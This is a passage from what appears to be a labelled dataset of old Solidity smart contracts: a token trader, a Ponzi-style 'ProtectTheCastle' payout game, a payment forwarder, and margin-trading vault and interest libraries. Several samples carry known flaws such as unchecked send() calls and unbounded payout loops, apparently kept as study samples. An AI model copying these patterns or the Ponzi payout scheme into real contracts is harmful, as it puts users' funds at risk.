function transfer(address _to, uint _value) returns (bool);
function transferFrom(address _from, address _to, uint _value) returns (bool);
function approve(address _spender, uint _value) returns (bool);
function allowance(address _owner, address _spender) constant returns (uint256);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract TokenTrader is Owned
{
address public exchange;
address public asset;
uint256 public buyPrice;
uint256 public sellPrice;
uint256 public units;
uint256 public exchFee;
bool public buysTokens;
bool public sellsTokens;
event ActivatedEvent(bool buys, bool sells);
event MakerDepositedEther(uint256 amount);
event MakerWithdrewAsset(uint256 tokens);
event MakerTransferredAsset(address toTokenTrader, uint256 tokens);
event MakerWithdrewERC20Token(address tokenAddress, uint256 tokens);
event MakerWithdrewEther(uint256 ethers);
event MakerTransferredEther(address toTokenTrader, uint256 ethers);
event TakerBoughtAsset(address indexed buyer, uint256 ethersSent,
uint256 ethersReturned, uint256 tokensBought);
event TakerSoldAsset(address indexed seller, uint256 amountOfTokensToSell,
uint256 tokensSold, uint256 etherValueOfTokensSold);
function TokenTrader (
address _asset,
uint256 _exchFee,
address _exchange,
uint256 _buyPrice,
uint256 _sellPrice,
uint256 _units,
bool _buysTokens,
bool _sellsTokens
)
{
asset = _asset;
exchFee = _exchFee;
exchange = _exchange;
buyPrice = _buyPrice;
sellPrice = _sellPrice;
units = _units;
buysTokens = _buysTokens;
sellsTokens = _sellsTokens;
ActivatedEvent(buysTokens, sellsTokens);
}
function activate (
address _asset,
uint256 _exchFee,
address _exchange,
uint256 _buyPrice,
uint256 _sellPrice,
uint256 _units,
bool _buysTokens,
bool _sellsTokens
) onlyOwner
{
require(ERCTW(exchange).transferFrom(owner, exchange, exchFee));
asset = _asset;
exchFee = _exchFee;
exchange = _exchange;
buyPrice = _buyPrice;
sellPrice = _sellPrice;
units = _units;
buysTokens = _buysTokens;
sellsTokens = _sellsTokens;
ActivatedEvent(buysTokens, sellsTokens);
}
function makerDepositEther() payable onlyOwnerOrTokenTraderWithSameOwner
{
require(ERCTW(exchange).transferFrom(this, exchange, exchFee));
MakerDepositedEther(msg.value);
}
function makerWithdrawAsset(uint256 tokens) onlyOwner returns (bool ok)
{
require(ERCTW(exchange).transferFrom(this, exchange, exchFee));
MakerWithdrewAsset(tokens);
return ERCTW(asset).transfer(owner, tokens);
}
function makerTransferAsset(
TokenTrader toTokenTrader,
uint256 tokens
) onlyOwner returns (bool ok)
{
require(ERCTW(exchange).transferFrom(this, exchange, exchFee));
require (owner == toTokenTrader.owner() && asset == toTokenTrader.asset());
MakerTransferredAsset(toTokenTrader, tokens);
return ERCTW(asset).transfer(toTokenTrader, tokens);
}
function makerWithdrawERC20Token(
address tokenAddress,
uint256 tokens
) onlyOwner returns (bool ok)
{
require(ERCTW(exchange).transferFrom(this, exchange, exchFee));
MakerWithdrewERC20Token(tokenAddress, tokens);
return ERCTW(tokenAddress).transfer(owner, tokens);
}
function makerWithdrawEther(uint256 ethers) onlyOwner returns (bool ok)
{
require(ERCTW(exchange).transferFrom(this, exchange, exchFee));
if (this.balance >= ethers)
{
MakerWithdrewEther(ethers);
return owner.send(ethers);
}
}
function makerTransferEther(
TokenTrader toTokenTrader,
uint256 ethers
) onlyOwner returns (bool)
{
require(ERCTW(exchange).transferFrom(this, exchange, exchFee));
require (owner == toTokenTrader.owner() && asset == toTokenTrader.asset());
if (this.balance >= ethers)
{
MakerTransferredEther(toTokenTrader, ethers);
toTokenTrader.makerDepositEther.value(ethers)();
}
}
function takerBuyAsset() payable
{
require(ERCTW(exchange).transferFrom(this, exchange, exchFee));
if (sellsTokens || msg.sender == owner)
{
uint order = msg.value / sellPrice;
uint can_sell = ERCTW(asset).balanceOf(address(this)) / units;
uint256 change = 0;
if (msg.value > (can_sell * sellPrice))
{
change = msg.value - (can_sell * sellPrice);
order = can_sell;
}
if (change > 0)
{
require(msg.sender.send(change));
}
if (order > 0)
{
require (ERCTW(asset).transfer(msg.sender, order * units));
}
TakerBoughtAsset(msg.sender, msg.value, change, order * units);
}
else require (msg.sender.send(msg.value));
}
function takerSellAsset(uint256 amountOfTokensToSell) public
{
require(ERCTW(exchange).transferFrom(this, exchange, exchFee));
if (buysTokens || msg.sender == owner)
{
uint256 can_buy = this.balance / buyPrice;
uint256 order = amountOfTokensToSell / units;
if (order > can_buy) order = can_buy;
if (order > 0)
{
require(ERCTW(asset).transferFrom(msg.sender, address(this), order * units));
require(msg.sender.send(order * buyPrice));
}
TakerSoldAsset(msg.sender, amountOfTokensToSell, order * units, order * buyPrice);
}
}
function () payable
{
takerBuyAsset();
}
} | 1 | 4,123 |
pragma solidity ^0.4.9;
contract ProtectTheCastle {
address public jester;
uint public lastReparation;
uint public piggyBank;
uint public collectedFee;
address[] public citizensAddresses;
uint[] public citizensAmounts;
uint32 public totalCitizens;
uint32 public lastCitizenPaid;
address public bribedCitizen;
uint32 public round;
uint public amountAlreadyPaidBack;
uint public amountInvested;
uint constant SIX_HOURS = 60 * 60 * 6;
function ProtectTheCastle() {
bribedCitizen = msg.sender;
jester = msg.sender;
lastReparation = block.timestamp;
amountAlreadyPaidBack = 0;
amountInvested = 0;
totalCitizens = 0;
}
function repairTheCastle() payable returns(bool) {
uint amount = msg.value;
if (amount < 10 finney) {
msg.sender.send(msg.value);
return false;
}
if (amount > 100 ether) {
msg.sender.send(msg.value - 100 ether);
amount = 100 ether;
}
if (lastReparation + SIX_HOURS < block.timestamp) {
if (totalCitizens == 1) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank);
} else if (totalCitizens == 2) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 65 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 35 / 100);
} else if (totalCitizens >= 3) {
citizensAddresses[citizensAddresses.length - 1].send(piggyBank * 55 / 100);
citizensAddresses[citizensAddresses.length - 2].send(piggyBank * 30 / 100);
citizensAddresses[citizensAddresses.length - 3].send(piggyBank * 15 / 100);
}
piggyBank = 0;
jester = msg.sender;
lastReparation = block.timestamp;
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 2);
totalCitizens += 1;
amountInvested += amount;
piggyBank += amount;
jester.send(amount * 3 / 100);
collectedFee += amount * 3 / 100;
round += 1;
} else {
lastReparation = block.timestamp;
citizensAddresses.push(msg.sender);
citizensAmounts.push(amount * 2);
totalCitizens += 1;
amountInvested += amount;
piggyBank += (amount * 5 / 100);
jester.send(amount * 3 / 100);
collectedFee += amount * 3 / 100;
while (citizensAmounts[lastCitizenPaid] < (address(this).balance - piggyBank - collectedFee) && lastCitizenPaid <= totalCitizens) {
citizensAddresses[lastCitizenPaid].send(citizensAmounts[lastCitizenPaid]);
amountAlreadyPaidBack += citizensAmounts[lastCitizenPaid];
lastCitizenPaid += 1;
}
}
}
function() payable {
repairTheCastle();
}
function newBribedCitizen(address newBribedCitizen) {
if (msg.sender == bribedCitizen) {
bribedCitizen = newBribedCitizen;
}
}
function collectFee() payable {
if (msg.sender == bribedCitizen) {
bribedCitizen.send(collectedFee);
}
}
function newJester(address newJester) {
if (msg.sender == jester) {
jester = newJester;
}
}
} | 0 | 1,011 |
pragma solidity ^0.4.16;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Forwarder {
using SafeMath for uint256;
address public destinationAddress80;
address public destinationAddress20;
function Forwarder() {
destinationAddress20 = 0xf6962cfe3b9618374097d51bc6691efb3974d06f;
destinationAddress80 = 0xf030541A54e89cB22b3653a090b233A209E44F38;
}
function () payable {
if (msg.value > 0) {
uint256 totalAmount = msg.value;
uint256 tokenValueAmount = totalAmount.div(5);
uint256 restAmount = totalAmount.sub(tokenValueAmount);
if (!destinationAddress20.send(tokenValueAmount)) revert();
if (!destinationAddress80.send(restAmount)) revert();
}
}
} | 1 | 4,338 |
pragma solidity 0.4.24;
pragma experimental "v0.5.0";
library Math {
function max64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a >= _b ? _a : _b;
}
function min64(uint64 _a, uint64 _b) internal pure returns (uint64) {
return _a < _b ? _a : _b;
}
function max256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a >= _b ? _a : _b;
}
function min256(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a < _b ? _a : _b;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract AccessControlledBase {
mapping (address => bool) public authorized;
event AccessGranted(
address who
);
event AccessRevoked(
address who
);
modifier requiresAuthorization() {
require(
authorized[msg.sender],
"AccessControlledBase#requiresAuthorization: Sender not authorized"
);
_;
}
}
contract StaticAccessControlled is AccessControlledBase, Ownable {
using SafeMath for uint256;
uint256 public GRACE_PERIOD_EXPIRATION;
constructor(
uint256 gracePeriod
)
public
Ownable()
{
GRACE_PERIOD_EXPIRATION = block.timestamp.add(gracePeriod);
}
function grantAccess(
address who
)
external
onlyOwner
{
require(
block.timestamp < GRACE_PERIOD_EXPIRATION,
"StaticAccessControlled#grantAccess: Cannot grant access after grace period"
);
emit AccessGranted(who);
authorized[who] = true;
}
}
interface GeneralERC20 {
function totalSupply(
)
external
view
returns (uint256);
function balanceOf(
address who
)
external
view
returns (uint256);
function allowance(
address owner,
address spender
)
external
view
returns (uint256);
function transfer(
address to,
uint256 value
)
external;
function transferFrom(
address from,
address to,
uint256 value
)
external;
function approve(
address spender,
uint256 value
)
external;
}
library TokenInteract {
function balanceOf(
address token,
address owner
)
internal
view
returns (uint256)
{
return GeneralERC20(token).balanceOf(owner);
}
function allowance(
address token,
address owner,
address spender
)
internal
view
returns (uint256)
{
return GeneralERC20(token).allowance(owner, spender);
}
function approve(
address token,
address spender,
uint256 amount
)
internal
{
GeneralERC20(token).approve(spender, amount);
require(
checkSuccess(),
"TokenInteract#approve: Approval failed"
);
}
function transfer(
address token,
address to,
uint256 amount
)
internal
{
address from = address(this);
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transfer(to, amount);
require(
checkSuccess(),
"TokenInteract#transfer: Transfer failed"
);
}
function transferFrom(
address token,
address from,
address to,
uint256 amount
)
internal
{
if (
amount == 0
|| from == to
) {
return;
}
GeneralERC20(token).transferFrom(from, to, amount);
require(
checkSuccess(),
"TokenInteract#transferFrom: TransferFrom failed"
);
}
function checkSuccess(
)
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
switch returndatasize
case 0x0 {
returnValue := 1
}
case 0x20 {
returndatacopy(0x0, 0x0, 0x20)
returnValue := mload(0x0)
}
default { }
}
return returnValue != 0;
}
}
contract TokenProxy is StaticAccessControlled {
using SafeMath for uint256;
constructor(
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{}
function transferTokens(
address token,
address from,
address to,
uint256 value
)
external
requiresAuthorization
{
TokenInteract.transferFrom(
token,
from,
to,
value
);
}
function available(
address who,
address token
)
external
view
returns (uint256)
{
return Math.min256(
TokenInteract.allowance(token, who, address(this)),
TokenInteract.balanceOf(token, who)
);
}
}
contract Vault is StaticAccessControlled
{
using SafeMath for uint256;
event ExcessTokensWithdrawn(
address indexed token,
address indexed to,
address caller
);
address public TOKEN_PROXY;
mapping (bytes32 => mapping (address => uint256)) public balances;
mapping (address => uint256) public totalBalances;
constructor(
address proxy,
uint256 gracePeriod
)
public
StaticAccessControlled(gracePeriod)
{
TOKEN_PROXY = proxy;
}
function withdrawExcessToken(
address token,
address to
)
external
onlyOwner
returns (uint256)
{
uint256 actualBalance = TokenInteract.balanceOf(token, address(this));
uint256 accountedBalance = totalBalances[token];
uint256 withdrawableBalance = actualBalance.sub(accountedBalance);
require(
withdrawableBalance != 0,
"Vault#withdrawExcessToken: Withdrawable token amount must be non-zero"
);
TokenInteract.transfer(token, to, withdrawableBalance);
emit ExcessTokensWithdrawn(token, to, msg.sender);
return withdrawableBalance;
}
function transferToVault(
bytes32 id,
address token,
address from,
uint256 amount
)
external
requiresAuthorization
{
TokenProxy(TOKEN_PROXY).transferTokens(
token,
from,
address(this),
amount
);
balances[id][token] = balances[id][token].add(amount);
totalBalances[token] = totalBalances[token].add(amount);
assert(totalBalances[token] >= balances[id][token]);
validateBalance(token);
}
function transferFromVault(
bytes32 id,
address token,
address to,
uint256 amount
)
external
requiresAuthorization
{
balances[id][token] = balances[id][token].sub(amount);
totalBalances[token] = totalBalances[token].sub(amount);
assert(totalBalances[token] >= balances[id][token]);
TokenInteract.transfer(token, to, amount);
validateBalance(token);
}
function validateBalance(
address token
)
private
view
{
assert(TokenInteract.balanceOf(token, address(this)) >= totalBalances[token]);
}
}
contract ReentrancyGuard {
uint256 private _guardCounter = 1;
modifier nonReentrant() {
uint256 localCounter = _guardCounter + 1;
_guardCounter = localCounter;
_;
require(
_guardCounter == localCounter,
"Reentrancy check failure"
);
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
library Fraction {
struct Fraction128 {
uint128 num;
uint128 den;
}
}
library FractionMath {
using SafeMath for uint256;
using SafeMath for uint128;
function add(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 left = a.num.mul(b.den);
uint256 right = b.num.mul(a.den);
uint256 denominator = a.den.mul(b.den);
if (left + right < left) {
left = left.div(2);
right = right.div(2);
denominator = denominator.div(2);
}
return bound(left.add(right), denominator);
}
function sub1Over(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.den % d == 0) {
return bound(
a.num.sub(a.den.div(d)),
a.den
);
}
return bound(
a.num.mul(d).sub(a.den),
a.den.mul(d)
);
}
function div(
Fraction.Fraction128 memory a,
uint128 d
)
internal
pure
returns (Fraction.Fraction128 memory)
{
if (a.num % d == 0) {
return bound(
a.num.div(d),
a.den
);
}
return bound(
a.num,
a.den.mul(d)
);
}
function mul(
Fraction.Fraction128 memory a,
Fraction.Fraction128 memory b
)
internal
pure
returns (Fraction.Fraction128 memory)
{
return bound(
a.num.mul(b.num),
a.den.mul(b.den)
);
}
function bound(
uint256 num,
uint256 den
)
internal
pure
returns (Fraction.Fraction128 memory)
{
uint256 max = num > den ? num : den;
uint256 first128Bits = (max >> 128);
if (first128Bits != 0) {
first128Bits += 1;
num /= first128Bits;
den /= first128Bits;
}
assert(den != 0);
assert(den < 2**128);
assert(num < 2**128);
return Fraction.Fraction128({
num: uint128(num),
den: uint128(den)
});
}
function copy(
Fraction.Fraction128 memory a
)
internal
pure
returns (Fraction.Fraction128 memory)
{
validate(a);
return Fraction.Fraction128({ num: a.num, den: a.den });
}
function validate(
Fraction.Fraction128 memory a
)
private
pure
{
assert(a.den != 0);
}
}
library Exponent {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint128 constant public MAX_NUMERATOR = 340282366920938463463374607431768211455;
uint256 constant public MAX_PRECOMPUTE_PRECISION = 32;
uint256 constant public NUM_PRECOMPUTED_INTEGERS = 32;
function exp(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
require(
precomputePrecision <= MAX_PRECOMPUTE_PRECISION,
"Exponent#exp: Precompute precision over maximum"
);
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
uint256 integerX = uint256(Xcopy.num).div(Xcopy.den);
if (integerX == 0) {
return expHybrid(Xcopy, precomputePrecision, maclaurinPrecision);
}
Fraction.Fraction128 memory expOfInt =
getPrecomputedEToThe(integerX % NUM_PRECOMPUTED_INTEGERS);
while (integerX >= NUM_PRECOMPUTED_INTEGERS) {
expOfInt = expOfInt.mul(getPrecomputedEToThe(NUM_PRECOMPUTED_INTEGERS));
integerX -= NUM_PRECOMPUTED_INTEGERS;
}
Fraction.Fraction128 memory decimalX = Fraction.Fraction128({
num: Xcopy.num % Xcopy.den,
den: Xcopy.den
});
return expHybrid(decimalX, precomputePrecision, maclaurinPrecision).mul(expOfInt);
}
function expHybrid(
Fraction.Fraction128 memory X,
uint256 precomputePrecision,
uint256 maclaurinPrecision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(precomputePrecision <= MAX_PRECOMPUTE_PRECISION);
assert(X.num < X.den);
Fraction.Fraction128 memory Xtemp = X.copy();
if (Xtemp.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
uint256 d = 1;
for (uint256 i = 1; i <= precomputePrecision; i++) {
d *= 2;
if (d.mul(Xtemp.num) >= Xtemp.den) {
Xtemp = Xtemp.sub1Over(uint128(d));
result = result.mul(getPrecomputedEToTheHalfToThe(i));
}
}
return result.mul(expMaclaurin(Xtemp, maclaurinPrecision));
}
function expMaclaurin(
Fraction.Fraction128 memory X,
uint256 precision
)
internal
pure
returns (Fraction.Fraction128 memory)
{
Fraction.Fraction128 memory Xcopy = X.copy();
if (Xcopy.num == 0) {
return ONE();
}
Fraction.Fraction128 memory result = ONE();
Fraction.Fraction128 memory Xtemp = ONE();
for (uint256 i = 1; i <= precision; i++) {
Xtemp = Xtemp.mul(Xcopy.div(uint128(i)));
result = result.add(Xtemp);
}
return result;
}
function getPrecomputedEToTheHalfToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= MAX_PRECOMPUTE_PRECISION);
uint128 denominator = [
125182886983370532117250726298150828301,
206391688497133195273760705512282642279,
265012173823417992016237332255925138361,
300298134811882980317033350418940119802,
319665700530617779809390163992561606014,
329812979126047300897653247035862915816,
335006777809430963166468914297166288162,
337634268532609249517744113622081347950,
338955731696479810470146282672867036734,
339618401537809365075354109784799900812,
339950222128463181389559457827561204959,
340116253979683015278260491021941090650,
340199300311581465057079429423749235412,
340240831081268226777032180141478221816,
340261598367316729254995498374473399540,
340271982485676106947851156443492415142,
340277174663693808406010255284800906112,
340279770782412691177936847400746725466,
340281068849199706686796915841848278311,
340281717884450116236033378667952410919,
340282042402539547492367191008339680733,
340282204661700319870089970029119685699,
340282285791309720262481214385569134454,
340282326356121674011576912006427792656,
340282346638529464274601981200276914173,
340282356779733812753265346086924801364,
340282361850336100329388676752133324799,
340282364385637272451648746721404212564,
340282365653287865596328444437856608255,
340282366287113163939555716675618384724,
340282366604025813553891209601455838559,
340282366762482138471739420386372790954,
340282366841710300958333641874363209044
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function getPrecomputedEToThe(
uint256 x
)
internal
pure
returns (Fraction.Fraction128 memory)
{
assert(x <= NUM_PRECOMPUTED_INTEGERS);
uint128 denominator = [
340282366920938463463374607431768211455,
125182886983370532117250726298150828301,
46052210507670172419625860892627118820,
16941661466271327126146327822211253888,
6232488952727653950957829210887653621,
2292804553036637136093891217529878878,
843475657686456657683449904934172134,
310297353591408453462393329342695980,
114152017036184782947077973323212575,
41994180235864621538772677139808695,
15448795557622704876497742989562086,
5683294276510101335127414470015662,
2090767122455392675095471286328463,
769150240628514374138961856925097,
282954560699298259527814398449860,
104093165666968799599694528310221,
38293735615330848145349245349513,
14087478058534870382224480725096,
5182493555688763339001418388912,
1906532833141383353974257736699,
701374233231058797338605168652,
258021160973090761055471434334,
94920680509187392077350434438,
34919366901332874995585576427,
12846117181722897538509298435,
4725822410035083116489797150,
1738532907279185132707372378,
639570514388029575350057932,
235284843422800231081973821,
86556456714490055457751527,
31842340925906738090071268,
11714142585413118080082437,
4309392228124372433711936
][x];
return Fraction.Fraction128({
num: MAX_NUMERATOR,
den: denominator
});
}
function ONE()
private
pure
returns (Fraction.Fraction128 memory)
{
return Fraction.Fraction128({ num: 1, den: 1 });
}
}
library MathHelpers {
using SafeMath for uint256;
function getPartialAmount(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return numerator.mul(target).div(denominator);
}
function getPartialAmountRoundedUp(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256)
{
return divisionRoundedUp(numerator.mul(target), denominator);
}
function divisionRoundedUp(
uint256 numerator,
uint256 denominator
)
internal
pure
returns (uint256)
{
assert(denominator != 0);
if (numerator == 0) {
return 0;
}
return numerator.sub(1).div(denominator).add(1);
}
function maxUint256(
)
internal
pure
returns (uint256)
{
return 2 ** 256 - 1;
}
function maxUint32(
)
internal
pure
returns (uint32)
{
return 2 ** 32 - 1;
}
function getNumBits(
uint256 n
)
internal
pure
returns (uint256)
{
uint256 first = 0;
uint256 last = 256;
while (first < last) {
uint256 check = (first + last) / 2;
if ((n >> check) == 0) {
last = check;
} else {
first = check + 1;
}
}
assert(first <= 256);
return first;
}
}
library InterestImpl {
using SafeMath for uint256;
using FractionMath for Fraction.Fraction128;
uint256 constant DEFAULT_PRECOMPUTE_PRECISION = 11;
uint256 constant DEFAULT_MACLAURIN_PRECISION = 5;
uint256 constant MAXIMUM_EXPONENT = 80;
uint128 constant E_TO_MAXIUMUM_EXPONENT = 55406223843935100525711733958316613;
function getCompoundedInterest(
uint256 principal,
uint256 interestRate,
uint256 secondsOfInterest
)
public
pure
returns (uint256)
{
uint256 numerator = interestRate.mul(secondsOfInterest);
uint128 denominator = (10**8) * (365 * 1 days);
assert(numerator < 2**128);
Fraction.Fraction128 memory rt = Fraction.Fraction128({
num: uint128(numerator),
den: denominator
});
Fraction.Fraction128 memory eToRT;
if (numerator.div(denominator) >= MAXIMUM_EXPONENT) {
eToRT = Fraction.Fraction128({
num: E_TO_MAXIUMUM_EXPONENT,
den: 1
});
} else {
eToRT = Exponent.exp(
rt,
DEFAULT_PRECOMPUTE_PRECISION,
DEFAULT_MACLAURIN_PRECISION
);
}
assert(eToRT.num >= eToRT.den);
return safeMultiplyUint256ByFraction(principal, eToRT);
}
function safeMultiplyUint256ByFraction(
uint256 n,
Fraction.Fraction128 memory f
)
private
pure
returns (uint256)
{
uint256 term1 = n.div(2 ** 128);
uint256 term2 = n % (2 ** 128);
if (term1 > 0) {
term1 = term1.mul(f.num);
uint256 numBits = MathHelpers.getNumBits(term1);
term1 = MathHelpers.divisionRoundedUp(
term1 << (uint256(256).sub(numBits)),
f.den);
if (numBits > 128) {
term1 = term1 << (numBits.sub(128));
} else if (numBits < 128) {
term1 = term1 >> (uint256(128).sub(numBits));
}
}
term2 = MathHelpers.getPartialAmountRoundedUp(
f.num,
f.den,
term2
);
return term1.add(term2);
}
}
library MarginState {
struct State {
address VAULT;
address TOKEN_PROXY;
mapping (bytes32 => uint256) loanFills;
mapping (bytes32 => uint256) loanCancels;
mapping (bytes32 => MarginCommon.Position) positions;
mapping (bytes32 => bool) closedPositions;
mapping (bytes32 => uint256) totalOwedTokenRepaidToLender;
}
}
interface LoanOwner {
function receiveLoanOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
interface PositionOwner {
function receivePositionOwnership(
address from,
bytes32 positionId
)
external
returns (address);
}
library TransferInternal {
event LoanTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
event PositionTransferred(
bytes32 indexed positionId,
address indexed from,
address indexed to
);
function grantLoanOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit LoanTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
LoanOwner(newOwner).receiveLoanOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantLoanOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantLoanOwnership: New owner did not consent to owning loan"
);
return newOwner;
}
function grantPositionOwnership(
bytes32 positionId,
address oldOwner,
address newOwner
)
internal
returns (address)
{
if (oldOwner != address(0)) {
emit PositionTransferred(positionId, oldOwner, newOwner);
}
if (AddressUtils.isContract(newOwner)) {
address nextOwner =
PositionOwner(newOwner).receivePositionOwnership(oldOwner, positionId);
if (nextOwner != newOwner) {
return grantPositionOwnership(positionId, newOwner, nextOwner);
}
}
require(
newOwner != address(0),
"TransferInternal#grantPositionOwnership: New owner did not consent to owning position"
);
return newOwner;
}
}
library TimestampHelper {
function getBlockTimestamp32()
internal
view
returns (uint32)
{
assert(uint256(uint32(block.timestamp)) == block.timestamp);
assert(block.timestamp > 0);
return uint32(block.timestamp);
}
}
library MarginCommon {
using SafeMath for uint256;
struct Position {
address owedToken;
address heldToken;
address lender;
address owner;
uint256 principal;
uint256 requiredDeposit;
uint32 callTimeLimit;
uint32 startTimestamp;
uint32 callTimestamp;
uint32 maxDuration;
uint32 interestRate;
uint32 interestPeriod;
}
struct LoanOffering {
address owedToken;
address heldToken;
address payer;
address owner;
address taker;
address positionOwner;
address feeRecipient;
address lenderFeeToken;
address takerFeeToken;
LoanRates rates;
uint256 expirationTimestamp;
uint32 callTimeLimit;
uint32 maxDuration;
uint256 salt;
bytes32 loanHash;
bytes signature;
}
struct LoanRates {
uint256 maxAmount;
uint256 minAmount;
uint256 minHeldToken;
uint256 lenderFee;
uint256 takerFee;
uint32 interestRate;
uint32 interestPeriod;
}
function storeNewPosition(
MarginState.State storage state,
bytes32 positionId,
Position memory position,
address loanPayer
)
internal
{
assert(!positionHasExisted(state, positionId));
assert(position.owedToken != address(0));
assert(position.heldToken != address(0));
assert(position.owedToken != position.heldToken);
assert(position.owner != address(0));
assert(position.lender != address(0));
assert(position.maxDuration != 0);
assert(position.interestPeriod <= position.maxDuration);
assert(position.callTimestamp == 0);
assert(position.requiredDeposit == 0);
state.positions[positionId].owedToken = position.owedToken;
state.positions[positionId].heldToken = position.heldToken;
state.positions[positionId].principal = position.principal;
state.positions[positionId].callTimeLimit = position.callTimeLimit;
state.positions[positionId].startTimestamp = TimestampHelper.getBlockTimestamp32();
state.positions[positionId].maxDuration = position.maxDuration;
state.positions[positionId].interestRate = position.interestRate;
state.positions[positionId].interestPeriod = position.interestPeriod;
state.positions[positionId].owner = TransferInternal.grantPositionOwnership(
positionId,
(position.owner != msg.sender) ? msg.sender : address(0),
position.owner
);
state.positions[positionId].lender = TransferInternal.grantLoanOwnership(
positionId,
(position.lender != loanPayer) ? loanPayer : address(0),
position.lender
);
}
function getPositionIdFromNonce(
uint256 nonce
)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked(msg.sender, nonce));
}
function getUnavailableLoanOfferingAmountImpl(
MarginState.State storage state,
bytes32 loanHash
)
internal
view
returns (uint256)
{
return state.loanFills[loanHash].add(state.loanCancels[loanHash]);
}
function cleanupPosition(
MarginState.State storage state,
bytes32 positionId
)
internal
{
delete state.positions[positionId];
state.closedPositions[positionId] = true;
}
function calculateOwedAmount(
Position storage position,
uint256 closeAmount,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsed(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
closeAmount,
position.interestRate,
timeElapsed
);
}
function calculateEffectiveTimeElapsed(
Position storage position,
uint256 timestamp
)
internal
view
returns (uint256)
{
uint256 elapsed = timestamp.sub(position.startTimestamp);
uint256 period = position.interestPeriod;
if (period > 1) {
elapsed = MathHelpers.divisionRoundedUp(elapsed, period).mul(period);
}
return Math.min256(
elapsed,
position.maxDuration
);
}
function calculateLenderAmountForIncreasePosition(
Position storage position,
uint256 principalToAdd,
uint256 endTimestamp
)
internal
view
returns (uint256)
{
uint256 timeElapsed = calculateEffectiveTimeElapsedForNewLender(position, endTimestamp);
return InterestImpl.getCompoundedInterest(
principalToAdd,
position.interestRate,
timeElapsed
);
}
function getLoanOfferingHash(
LoanOffering loanOffering
)
internal
view
returns (bytes32)
{
return keccak256(
abi.encodePacked(
address(this),
loanOffering.owedToken,
loanOffering.heldToken,
loanOffering.payer,
loanOffering.owner,
loanOffering.taker,
loanOffering.positionOwner,
loanOffering.feeRecipient,
loanOffering.lenderFeeToken,
loanOffering.takerFeeToken,
getValuesHash(loanOffering)
)
);
}
function getPositionBalanceImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns(uint256)
{
return Vault(state.VAULT).balances(positionId, state.positions[positionId].heldToken);
}
function containsPositionImpl(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return state.positions[positionId].startTimestamp != 0;
}
function positionHasExisted(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (bool)
{
return containsPositionImpl(state, positionId) || state.closedPositions[positionId];
}
function getPositionFromStorage(
MarginState.State storage state,
bytes32 positionId
)
internal
view
returns (Position storage)
{
Position storage position = state.positions[positionId];
require(
position.startTimestamp != 0,
"MarginCommon#getPositionFromStorage: The position does not exist"
);
